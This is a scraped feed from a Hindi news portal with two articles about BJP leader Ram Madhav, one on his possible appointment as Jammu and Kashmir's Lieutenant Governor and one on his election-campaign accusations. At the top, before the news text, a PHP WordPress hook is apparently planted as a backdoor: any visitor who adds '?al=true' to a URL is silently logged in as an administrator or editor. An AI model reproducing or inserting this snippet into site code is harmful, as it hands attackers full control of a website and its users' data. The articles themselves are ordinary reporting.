// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ram Madhav – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 17 Oct 2024 11:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 JK के नए उपराज्यपाल राम माधव हो सकते हैं, कई राज्यों के राज्यपाल बदले जाने के आसार https://pratyushaashakinayikiran.com/?p=85842 Thu, 17 Oct 2024 11:46:00 +0000 https://pratyushaashakinayikiran.com/?p=85842 श्रीनगर

केंद्र सरकार जल्द ही उत्तर प्रदेश, जम्मू और कश्मीर, मध्य प्रदेश समेत कई प्रदेशों के राज्यपाल बदल सकती है। हालांकि, अब तक इस संभावित फेरबदल को लेकर आधिकारिक तौर पर कुछ नहीं कहा गया है। कहा जा रहा है कि ये फेरबद इस अक्टूबर में ही या नवंबर के अंत में हो सकते हैं। इस दौरान उन नामों पर विचार किया जा सकता है, जो पहले ही 3 से 5 साल की सेवाएं दे चुके हैं।

न्यू इंडियन एक्सप्रेस की रिपोर्ट के अनुसार, फेरबदल की चर्चा इसलिए भी अहम हैं, क्योंकि कई राज्यपाल और उपराज्यपाल 3-5 सालों से सेवाएं दे रहे हैं। इनमें खासतौर से उत्तर प्रदेश, केरल, जम्मू और कश्मीर, अंडमान एंड निकोबार आइलैंड, दादर और नगर हवेली और दमन एंड दियू शामिल हैं। जम्मू और कश्मीर में हाल ही में राज्य सरकार ने कमान संभाली है।

ये हो सकते हैं नए नाम

रिपोर्ट के अनुसार, अटकलें हैं कि जम्मू और कश्मीर के उपराज्यपाल मनोज सिन्हा की जगह भारतीय जनता पार्टी के पूर्व महासचिव राम माधव ले सकते हैं। वहीं, केरल राज्यपाल आरिफ मोहम्मद खान को भी नई भूमिका दिए जाने की चर्चाएं हैं। अंडमान और निकोबार आइलैंड के उपराज्यपाल देवेंद्र कुमार को केरल या जम्मू और कश्मीर में नई जिम्मेदारी दी जा सती है। कुमार अक्टूबर 2017 से राज्यपाल हैं।

रिपोर्ट में सूत्रों के हवाले से कहा जा रहा है कि जम्मू और कश्मीर, हरियाणा में नई सरकार के बनने के बाद या झारखंड और महाराष्ट्र में विधानसभा चुनाव के बाद फेरबदल किए जा सकते हैं। इसके अलावा लोकसभा चुनाव के मैदान से दूर रहे भाजपा के वरिष्ठ नेताओं को भी राज्यपाल या एलजी बनाया जा सकता है। इनमें अश्विनी चौबे, वीके सिंह, मुख्तार अब्बास नकवी जैसे नाम शामिल हो सकते हैं।

3-5 साल से सेवाएं दे रहे हैं ये राज्यपाल

कर्नाटक के राज्यपाल थावर चंद गहलोत, गुजरातके आचार्य देवव्रत 3 साल से ज्यादा समय से पद पर हैं। गोवा राज्यपाल पीएस श्रीधरन पिल्लई और हरियाणा के गवर्नर बंडारू दत्तात्रेय 15 जुलाई 2021 से पद पर हैं। मध्य प्रदेश के राज्यपाल मंगू भाई पटेल, उत्तराखंड के गुरमीत सिंह 3 साल से ज्यादा समय से राज्यपाल हैं।

राज्य में उमर अब्दुल्ला के नेतृत्व में बनी है नई सरकार

जम्मू-कश्मीर में हाल ही में विधानसभा चुनाव हुए हैं। बुधवार को वहां नेशनल कॉन्फ्रेंस के नेता उमर अब्दुल्ला के नेतृत्व में नई सरकार ने सत्ता भी संभाल ली। भारतीय जनता पार्टी ने चुनाव की रणनीति तैयार करने के लिए राम माधव को महत्वपूर्ण भूमिका में रखा था। वह पार्टी के लिए कश्मीर में हमेशा से एक महत्वपूर्ण चेहरा रहे हैं।

जम्मू-कश्मीर के मामलों में राम माधव की भूमिका को नजरअंदाज नहीं किया जा सकता। उन्होंने पीडीपी और बीजेपी के गठबंधन में मध्यस्थ की भूमिका निभाई थी। धारा 370 को हटाने की योजना भी उनके मार्गदर्शन में तैयार की गई थी, जो कश्मीर के इतिहास में एक बड़ा बदलाव साबित हुआ। उनका अनुभव और समझ कश्मीर के भविष्य के लिए महत्वपूर्ण हो सकता है।

आंध्र प्रदेश के पूर्वी गोदावरी जिले में 22 अगस्त 1964 को जन्म राम माधव ने इंजीनियरिंग की पढ़ाई की और फिर पॉलिटिकल साइंस में पोस्ट ग्रेजुएशन किया। वह पहले राष्ट्रीय स्वयं सेवक संघ से जुड़े और पूर्णकालिक कार्यकर्ता बने। संघ से ही वह भारतीय जनता पार्टी में प्रवेश किए और धीरे-धीरे बड़े राजनीतिक पदों पर काबिज हुए। उनका सियासी अनुभव कश्मीर से लेकर पूर्वोत्तर राज्यों तक फैला हुआ है।

वह एक नेता, लेखक और विचारक के रूप में चर्चित रहे हैं। उन्होंने कई महत्वपूर्ण किताबें लिखी हैं, जो राजनीति और सामाजिक विषयों पर आधारित हैं। वह थिंक टैंक ‘इंडिया फाउंडेशन’ के अध्यक्ष भी हैं और कई वैश्विक मंचों पर भारत का प्रतिनिधित्व कर चुके हैं। हाल ही में उन्होंने धर्म-20 फोरम में भी भाग लिया था, जो जी-20 का हिस्सा था।

राम माधव का अंतरराष्ट्रीय अनुभव भी काफी विस्तृत है। उन्होंने रूस, सिंगापुर, इंडोनेशिया, कनाडा और चीन जैसे देशों में कई महत्वपूर्ण मंचों पर भारत का पक्ष रखा है। चाहे वह सुरक्षा के मुद्दे हों या फिर वैश्विक राजनीति के, राम माधव ने हर बार अपनी बेबाक राय रखी है।

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पूर्व आतंकवादी नेकां और पीडीपी के लिए खुलकर कर रहे हैं प्रचार: राम माधव https://pratyushaashakinayikiran.com/?p=66515 Thu, 05 Sep 2024 12:46:00 +0000 https://pratyushaashakinayikiran.com/?p=66515 श्रीनगर
 भारतीय जनता पार्टी (भाजपा) के पूर्व राष्ट्रीय महासचिव राम माधव ने नेशनल कांफ्रेंस (नेकां) और पीपुल्स डेमोक्रेटिक पार्टी (पीडीपी) पर जम्मू-कश्मीर विधानसभा चुनाव में पूर्व आतंकवादियों का समर्थन लेने का आरोप लगाया और कहा कि दोनों पार्टियां केंद्र शासित प्रदेश को उसके ‘मुश्किलों भरे दौर’ में वापस ले जाना चाहती हैं।

हाल ही में जम्मू-कश्मीर के लिए पार्टी का चुनाव प्रभारी नियुक्त किए गए माधव ने अब्दुल्ला और मुफ्ती परिवार का जिक्र करते हुए कहा कि दोनों परिवारों को बाहर का रास्ता दिखाए जाने की जरूरत है।

उन्होंने कहा, ‘‘मेरे पास सूचना है कि पूर्व आतंकवादी नेशनल कांफ्रेंस और पीडीपी के उम्मीदवारों के लिए खुलेआम प्रचार कर रहे हैं। लोगों को उन पार्टियों को हराना होगा जो जम्मू-कश्मीर को उसके बुरे दौरे में वापस ले जाना चाहती हैं और नए नेतृत्व का समर्थन करना होगा जो शांति और प्रगति चाहता है।’’

माधव, लाल चौक विधानसभा क्षेत्र से पार्टी के उम्मीदवार एजाज हुसैन के नामांकन के दौरान यहां मौजूद थे।

माधव ने यहां पत्रकारों से चर्चा में नेशनल कांफ्रेंस और पीडीपी द्वारा जारी चुनाव घोषणापत्र का जिक्र करते हुए कहा कि दोनों क्षेत्रीय दल जम्मू-कश्मीर को उसके पुराने और समस्याग्रस्त दिनों में वापस ले जाना चाहते हैं।

उन्होंने कहा, ‘‘मैं जम्मू-कश्मीर के लोगों को याद दिलाना चाहता हूं कि नेकां, पीडीपी और अन्य ने घोषणापत्र जारी किया है जो जम्मू-कश्मीर को पुराने और समस्याओं भरे दिनों में वापस ले जाएगा।’’

उन्होंने कहा कि कश्मीर घाटी में नई पार्टियां और नए नेता उभरेंगे जबकि जम्मू क्षेत्र में भाजपा शांति और विकास की प्रतिनिधि के रूप में उभरेगी।

उन्होंने दावा किया कि जम्मू-कश्मीर में भाजपा के नेतृत्व में एक नई सरकार बनेगी।

कई युवा चेहरों को चुनाव मैदान में उतारे जाने के बारे में पूछे जाने पर भाजपा नेता ने कहा कि यह जम्मू-कश्मीर के लोगों की रणनीति है क्योंकि वे नया नेतृत्व चाहते हैं।

उन्होंने कहा, ‘‘अच्छी संख्या में युवा आगे आ रहे हैं और उनका समर्थन किया जाना चाहिए। यह राज्य दो परिवारों की गिरफ्त में था, उन दो परिवारों को बाहर का रास्ता दिखाने की जरूरत है।’’

नेशनल कांफ्रेंस के अध्यक्ष फारूक अब्दुल्ला और पीडीपी प्रमुख महबूबा मुफ्ती के परिवारों का जिक्र करते हुए उन्होंने कहा, ‘‘राज्य को इन परिवारों से छुटकारा पाने की जरूरत है।’’

यह पूछे जाने पर कि खंडित जनादेश आने पर क्या भाजपा किसी दल के साथ गठबंधन करेगी, माधव ने कहा कि भाजपा सबसे बड़े दल के तौर पर उभरेगी लेकिन ‘यदि ऐसी स्थिति बनती है तो हम इस पर बाद में चर्चा करेंगे’।

उन्होंने प्रतिबंधित जमात-ए-इस्लामी के पूर्व सदस्यों के चुनाव मैदान में उतरने का स्वागत किया।

उन्होंने कहा, ‘‘लोकतंत्र में सभी के लिए जगह है। हम उन सभी का स्वागत करते हैं जो लोकतंत्र के माध्यम से चुनाव लड़ने के लिए आगे आना चाहते हैं। लेकिन, किसी को भी आतंकवादियों और पूर्व आतंकवादियों के समर्थन का उपयोग करके चुनाव नहीं लड़ना चाहिए। मतदान शांतिपूर्ण और पारदर्शी तरीके से होगा। यह (नरेन्द्र) मोदी का आश्वासन है, जैसे संसद चुनाव पारदर्शी तरीके से संपन्न हुए थे।’’

उन्होंने कहा, ‘‘कई लोगों (जमात-ए-इस्लामी के पूर्व सदस्यों) ने महसूस किया है कि यहां चुनाव निष्पक्ष और स्वतंत्र तरीके से होते हैं। इसलिए, यही कारण है कि वे चुनाव लड़ने के लिए आगे आए हैं और हम उन सभी का स्वागत करते हैं जो चुनाव लड़ना चाहते हैं।’’

भाजपा के राष्ट्रीय महासचिव ने कहा कि केंद्रीय गृह मंत्री छह सितंबर को जम्मू क्षेत्र में एक चुनावी रैली को संबोधित करेंगे। उन्होंने कहा, ‘‘इसके बाद प्रधानमंत्री और अन्य नेता भी आएंगे।’’

 

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